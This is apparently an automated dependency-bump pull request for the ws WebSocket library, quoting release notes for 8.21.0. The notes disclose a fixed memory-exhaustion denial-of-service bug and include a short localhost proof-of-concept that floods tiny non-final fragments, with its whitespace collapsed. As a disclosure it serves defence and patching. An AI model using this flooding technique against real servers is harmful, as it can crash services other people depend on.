Bumps ws from 8.18.3 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import{WebSocket,WebSocketServer}from'ws';constwss=newWebSocketServer({port: 0},function(){constdata=Buffer.alloc(1);constoptions={fin: false};const{ port }=wss.address();constws=newWebSocket(ws://localhost:${port});ws.on('open',function(){(functionsend(){ws.send(data,options,function(err){if(err)return;send();});})();});ws.on('error',console.error);ws.on('close',function(code,reason){console.log(clientclose-code: ${code}reason: ${reason.toString()});});});wss.on('connection',function(ws){ws.on('error',console.error);ws.on('close',function(code,reason){console.log(serverclose-code: ${code}reason: ${reason.toString()});});});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1
